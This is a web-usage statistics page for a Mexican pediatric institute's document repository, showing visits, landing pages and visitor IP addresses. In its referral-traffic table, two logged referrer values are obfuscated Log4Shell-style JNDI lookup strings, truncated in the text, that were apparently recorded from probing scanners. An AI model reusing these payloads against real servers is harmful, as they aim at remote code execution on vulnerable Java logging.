Centro de Información y

Documentación Científica

esen
From:
To:
Graph theme:

Stats details

64 Total visited pages
53 Total visitors
27 Unique visitors
00:15:33 Average visit life
1.21 Average pages/visit
84.91% Bounce rate

Geolocation

United States 34 Mexico 10 China 5 Spain 3 Not set 1

Operating system

Android 36 Windows 10 8 iOS iPhone 3 Linux 3 MacOS 2 SearchBot 1

Browser

Chrome 47 Safari 6

Device

Mobile 38 Desktop 14 Tablet 1

Landing pages

Page Number of users
http://repositorio.pediatria.gob.mx:8000/ 9
http://repositorio.pediatria.gob.mx:8000/la-recta-y-el-punto 6
http://189.203.43.34:8000/repositorio-institucional/ 5
http://repositorio.pediatria.gob.mx:8000/nosotros 5
http://189.203.43.34:8000/galeria 4
http://189.203.43.34:8000/aviso-de-privacidad 4
http://189.203.43.34:8000/estadistica-de-uso 3
http://repositorio.pediatria.gob.mx:8000/repositorio-institucional 3
http://189.203.43.34:8000/la-gorra 2
http://189.203.43.34:8000/galeria/servicios 2
http://189.203.43.34:8000/nosotros 2
http://189.203.43.34:8000/ 2
http://189.203.43.34:8000/galeria/areas 2
http://189.203.43.34:8000/repositorio-institucional/trees 1
http://repositorio.pediatria.gob.mx:8000/estadistica-de-uso/serverstats-display 1
http://172.16.100.124/ 1
http://fixed-189-203-43-34.totalplay.net:8000/ 1

Leave off pages

Page Number of users
http://repositorio.pediatria.gob.mx:8000/ 9
http://repositorio.pediatria.gob.mx:8000/la-recta-y-el-punto 6
http://repositorio.pediatria.gob.mx:8000/nosotros 5
http://189.203.43.34:8000/galeria 4
http://189.203.43.34:8000/aviso-de-privacidad 4
http://189.203.43.34:8000/estadistica-de-uso 3
http://189.203.43.34:8000/repositorio-institucional/ 3
http://189.203.43.34:8000/la-gorra 2
http://189.203.43.34:8000/galeria/servicios 2
http://189.203.43.34:8000/nosotros 2
http://189.203.43.34:8000/ 2
http://189.203.43.34:8000/galeria/areas 2
http://repositorio.pediatria.gob.mx:8000/repositorio-institucional 2
http://189.203.43.34:8000/biblioteca-digital/revista-electronicas 1
http://189.203.43.34:8000/repositorio-institucional?query=Estomatologia 1
http://172.16.100.124/repositorio-institucional 1
http://repositorio.pediatria.gob.mx:8000/estadistica-de-uso/serverstats-display 1
http://189.203.43.34:8000/repositorio-institucional/trees 1
http://fixed-189-203-43-34.totalplay.net:8000/ 1
http://repositorio.pediatria.gob.mx:8000/biblioteca-digital/revista-electronicas 1

Visits by page

Page Last visit Number of visits
http://repositorio.pediatria.gob.mx:8000/ 2025-04-02 11:06:28 11
http://repositorio.pediatria.gob.mx:8000/la-recta-y-el-punto 2025-04-01 23:53:43 6
http://repositorio.pediatria.gob.mx:8000/nosotros 2025-04-01 22:31:26 5
http://189.203.43.34:8000/repositorio-institucional/ 2025-04-02 00:46:40 5
http://repositorio.pediatria.gob.mx:8000/repositorio-institucional 2025-04-01 13:25:39 4
http://189.203.43.34:8000/galeria 2025-04-02 04:09:25 4
http://189.203.43.34:8000/aviso-de-privacidad 2025-04-02 04:03:21 4
http://189.203.43.34:8000/estadistica-de-uso 2025-04-02 09:57:32 3
http://189.203.43.34:8000/la-gorra 2025-04-02 04:46:57 2
http://189.203.43.34:8000/galeria/servicios 2025-04-02 04:00:56 2
http://189.203.43.34:8000/nosotros 2025-03-31 17:06:01 2
http://189.203.43.34:8000/ 2025-04-01 11:25:47 2
http://189.203.43.34:8000/galeria/areas 2025-04-02 04:06:25 2
http://189.203.43.34:8000/biblioteca-digital 2025-04-02 00:46:56 2
http://repositorio.pediatria.gob.mx:8000/biblioteca-digital 2025-04-01 20:40:34 1
http://189.203.43.34:8000/biblioteca-digital/revista-electronicas 2025-04-01 12:55:19 1
http://189.203.43.34:8000/biblioteca-digital/libros-electronicos 2025-04-01 12:55:01 1
http://189.203.43.34:8000/repositorio-institucional?query=Estomatologia 2025-04-02 00:47:14 1
http://172.16.100.124/repositorio-institucional 2025-04-01 13:37:01 1
http://172.16.100.124/ 2025-04-01 13:36:57 1
http://repositorio.pediatria.gob.mx:8000/estadistica-de-uso/serverstats-display 2025-03-31 09:23:05 1
http://fixed-189-203-43-34.totalplay.net:8000/ 2025-04-01 11:26:28 1
http://189.203.43.34:8000/repositorio-institucional/trees 2025-03-31 15:25:37 1
http://repositorio.pediatria.gob.mx:8000/biblioteca-digital/revista-electronicas 2025-04-01 20:41:09 1

Visits by user

Name of user Last visit Visit lifetime Browser Operating system Device IP address Geolocation Viewed pages
Visitor_115 2025-04-01 11:38:21 00:00:04 Safari iOS iPhone Mobile 104.28.126.103 MX 1 Navigation flow
Visitor_1380 2025-04-02 04:03:21 00:00:04 Chrome Android Mobile 66.249.66.18 US 1 Navigation flow
Visitor_140 2025-03-31 01:55:14 00:00:04 Chrome Android Mobile 66.249.66.77 US 1 Navigation flow
Visitor_1403 2025-04-01 03:43:31 00:00:04 Chrome Android Mobile 66.249.66.18 US 1 Navigation flow
Visitor_1533 2025-04-02 04:46:57 00:00:04 Chrome Android Mobile 66.249.66.18 US 1 Navigation flow
Visitor_1804 2025-04-01 20:41:09 00:14:52 Chrome Windows 10 Desktop 216.238.77.11 MX 3 Navigation flow
Visitor_2150 2025-04-02 01:59:45 00:00:04 Chrome Android Mobile 66.249.66.18 US 1 Navigation flow
Visitor_2268 2025-03-31 01:34:59 00:00:04 Chrome Android Mobile 66.249.66.78 US 1 Navigation flow
Visitor_2323 2025-04-02 11:06:27 00:00:04 Chrome SearchBot Desktop 66.249.77.233 US 1 Navigation flow
Visitor_2461 2025-04-01 13:37:01 04:57:12 Chrome Windows 10 Desktop 172.31.255.254 41 2 Navigation flow
Visitor_2568 2025-03-31 03:29:40 00:00:04 Chrome Android Mobile 66.249.66.19 US 1 Navigation flow
Visitor_2698 2025-04-01 00:34:51 00:00:00 Safari iOS iPhone Mobile 200.68.173.93 MX 1 Navigation flow
Visitor_2787 2025-03-31 15:25:37 00:00:04 Chrome Android Mobile 66.249.66.20 US 1 Navigation flow
Visitor_2821 2025-04-01 03:35:51 00:00:04 Chrome Android Mobile 66.249.66.19 US 1 Navigation flow
Visitor_2852 2025-04-01 03:38:55 00:00:00 Chrome Android Mobile 66.249.66.18 US 1 Navigation flow
Visitor_3061 2025-04-01 13:25:39 03:19:44 Chrome Windows 10 Desktop 172.31.255.254 ES 1 Navigation flow
Visitor_3209 2025-03-31 00:14:55 00:00:00 Safari Android Mobile 110.249.201.73 CN 1 Navigation flow
Visitor_3669 2025-03-31 14:13:51 03:19:00 Chrome Windows 10 Desktop 172.31.255.254 ES 2 Navigation flow
Visitor_3719 2025-04-01 12:58:35 00:00:16 Chrome Windows 10 Desktop 200.188.120.10 MX 1 Navigation flow
Visitor_3803 2025-03-31 03:29:07 00:00:00 Chrome Android Mobile 66.249.66.18 US 1 Navigation flow
Visitor_3817 2025-04-01 05:18:20 00:00:00 Chrome MacOS Desktop 111.7.96.169 CN 1 Navigation flow
Visitor_3984 2025-04-01 11:26:28 00:00:04 Chrome Linux Desktop 34.19.127.183 US 1 Navigation flow
Visitor_4111 2025-04-01 11:25:47 00:00:04 Chrome Linux Desktop 34.19.127.183 US 1 Navigation flow
Visitor_4216 2025-03-31 05:32:59 00:00:00 Safari Android Mobile 110.249.201.96 CN 1 Navigation flow
Visitor_4452 2025-04-01 14:07:43 00:00:04 Chrome Android Mobile 66.249.77.233 US 1 Navigation flow
Visitor_4659 2025-03-31 05:04:04 00:00:00 Safari Android Mobile 110.249.201.75 CN 1 Navigation flow
Visitor_4860 2025-04-01 14:16:51 00:00:04 Chrome Android Mobile 66.249.77.233 US 1 Navigation flow
Visitor_5151 2025-04-01 03:36:28 00:00:00 Chrome Android Mobile 66.249.66.18 US 1 Navigation flow
Visitor_5444 2025-03-31 15:49:58 00:00:00 Safari iOS iPhone Mobile 186.96.20.149 MX 1 Navigation flow
Visitor_5466 2025-03-31 17:06:01 00:00:04 Chrome Android Mobile 66.249.66.18 US 1 Navigation flow
Visitor_5848 2025-03-31 21:59:49 00:00:04 Chrome Android Mobile 66.249.77.233 US 1 Navigation flow
Visitor_5880 2025-04-02 11:06:28 00:00:04 Chrome Android Mobile 66.249.77.233 US 1 Navigation flow
Visitor_5925 2025-03-31 08:56:34 00:00:04 Chrome Android Mobile 66.249.66.18 US 1 Navigation flow
Visitor_5960 2025-04-01 22:31:26 00:00:00 Chrome Android Mobile 189.245.85.13 MX 1 Navigation flow
Visitor_5986 2025-03-31 09:23:05 00:00:04 Chrome Android Mobile 66.249.77.233 US 1 Navigation flow
Visitor_6417 2025-03-31 11:32:46 00:00:04 Chrome Android Mobile 66.249.77.233 US 1 Navigation flow
Visitor_6604 2025-04-02 04:00:56 00:00:04 Chrome Android Mobile 66.249.66.18 US 1 Navigation flow
Visitor_6886 2025-03-31 00:07:07 00:00:04 Chrome Android Mobile 66.249.66.79 US 1 Navigation flow
Visitor_7289 2025-03-31 12:02:43 00:00:04 Chrome Android Mobile 66.249.77.233 US 1 Navigation flow
Visitor_7897 2025-03-31 19:13:10 01:34:32 Chrome Windows 10 Desktop 172.31.255.254 ES 2 Navigation flow
Visitor_8091 2025-04-01 11:57:13 00:00:04 Chrome Android Mobile 66.249.77.225 US 1 Navigation flow
Visitor_8143 2025-04-01 05:18:14 00:00:00 Chrome MacOS Desktop 123.160.223.74 CN 1 Navigation flow
Visitor_8280 2025-04-01 23:53:43 00:00:04 Chrome Android Mobile 66.249.77.224 US 1 Navigation flow
Visitor_84 2025-03-31 10:39:03 00:02:20 Chrome Windows 10 Desktop 189.242.196.71 MX 2 Navigation flow
Visitor_8781 2025-04-01 18:09:52 00:00:04 Chrome Android Mobile 66.249.66.19 US 1 Navigation flow
Visitor_8892 2025-04-02 00:47:14 00:12:40 Chrome Android Tablet 189.230.32.218 MX 3 Navigation flow
Visitor_9068 2025-03-31 11:59:48 00:00:04 Chrome Android Mobile 66.249.77.224 US 1 Navigation flow
Visitor_9211 2025-03-31 13:08:03 00:00:00 Chrome Android Mobile 189.234.172.94 MX 1 Navigation flow
Visitor_9372 2025-04-02 09:57:32 00:00:04 Chrome Android Mobile 66.249.66.19 US 1 Navigation flow
Visitor_9422 2025-04-01 12:55:19 00:01:24 Chrome Windows 10 Desktop 201.132.162.82 MX 4 Navigation flow
Visitor_9442 2025-04-01 11:26:11 00:00:16 Chrome Linux Desktop 34.19.116.50 US 1 Navigation flow
Visitor_9717 2025-04-02 04:06:25 00:00:04 Chrome Android Mobile 66.249.66.18 US 1 Navigation flow
Visitor_9731 2025-04-02 04:09:25 00:00:04 Chrome Android Mobile 66.249.66.19 US 1 Navigation flow

Visits by IP address

IP address Geolocation Last visit Visit lifetime Viewed pages
104.28.126.103 MX 2025-04-01 11:38:21 00:00:04 1
110.249.201.73 CN 2025-03-31 00:14:55 00:00:00 1
110.249.201.75 CN 2025-03-31 05:04:04 00:00:00 1
110.249.201.96 CN 2025-03-31 05:32:59 00:00:00 1
111.7.96.169 CN 2025-04-01 05:18:20 00:00:00 1
123.160.223.74 CN 2025-04-01 05:18:14 00:00:00 1
172.31.255.254 41 2025-04-01 13:37:01 13:10:28 7
186.96.20.149 MX 2025-03-31 15:49:58 00:00:00 1
189.230.32.218 MX 2025-04-02 00:47:14 00:12:40 3
189.234.172.94 MX 2025-03-31 13:08:03 00:00:00 1
189.242.196.71 MX 2025-03-31 10:39:03 00:02:20 2
189.245.85.13 MX 2025-04-01 22:31:26 00:00:00 1
200.188.120.10 MX 2025-04-01 12:58:35 00:00:16 1
200.68.173.93 MX 2025-04-01 00:34:51 00:00:00 1
201.132.162.82 MX 2025-04-01 12:55:19 00:01:24 4
216.238.77.11 MX 2025-04-01 20:41:09 00:14:52 3
34.19.116.50 US 2025-04-01 11:26:11 00:00:16 1
34.19.127.183 US 2025-04-01 11:26:28 00:00:08 2
66.249.66.18 US 2025-04-02 04:46:57 00:00:32 11
66.249.66.19 US 2025-04-02 09:57:32 00:00:20 5
66.249.66.20 US 2025-03-31 15:25:37 00:00:04 1
66.249.66.77 US 2025-03-31 01:55:14 00:00:04 1
66.249.66.78 US 2025-03-31 01:34:59 00:00:04 1
66.249.66.79 US 2025-03-31 00:07:07 00:00:04 1
66.249.77.224 US 2025-04-01 23:53:43 00:00:08 2
66.249.77.225 US 2025-04-01 11:57:13 00:00:04 1
66.249.77.233 US 2025-04-02 11:06:28 00:00:32 8

Referral traffic

Source IP address Number of visits Total percentage
https://www.google.com/ 189.242.196.71 1 20.00%
${${40qp:-j}${i:a:7ip:-n}${w:lon:5:-d}${q:-i}${qb6p:u6h:-:}${682l:-l}${k:in:e:-d}${wsz6:6o:zum:-a}${g:6rbe:-p}${p1a:-:}${nw:oub:-/}${g84:wv:al:-/}${hbt:1ri:-R}${ku:6h:wak:-E}${3nxz:-l}${dr:-0}${x7e:-c}${ys:--}${${x:3ix:wr:-s}${wcyj:gmiy:-y}${w1d:-s}${h:43 34.19.127.179 1 20.00%
${${76yi:r:-j}${kv:an:-n}${ovia:6by:c:-d}${n1l:-i}${b:-:}${vgne:-l}${3t:cp1:-d}${a3w:4j:v:-a}${hqa6:y3:73u:-p}${o093:op:b0ip:-:}${apb:-/}${i8:nd5:-/}${ynar:-R}${k9z:csr:sji:-E}${z:-l}${f4t:o:-0}${cr:y:-c}${oi8p:npyd:c9y0:--}${${w9:-s}${p9jr:n:3:-y}${fl5:r 34.19.116.58 1 20.00%
http://189.203.43.34:8000/estadistica-de-uso 114.119.128.34 1 20.00%
https://mx.search.yahoo.com/ 216.238.77.11 1 20.00%

Onsite searched keywords

Keywords Number of searches Interest percentage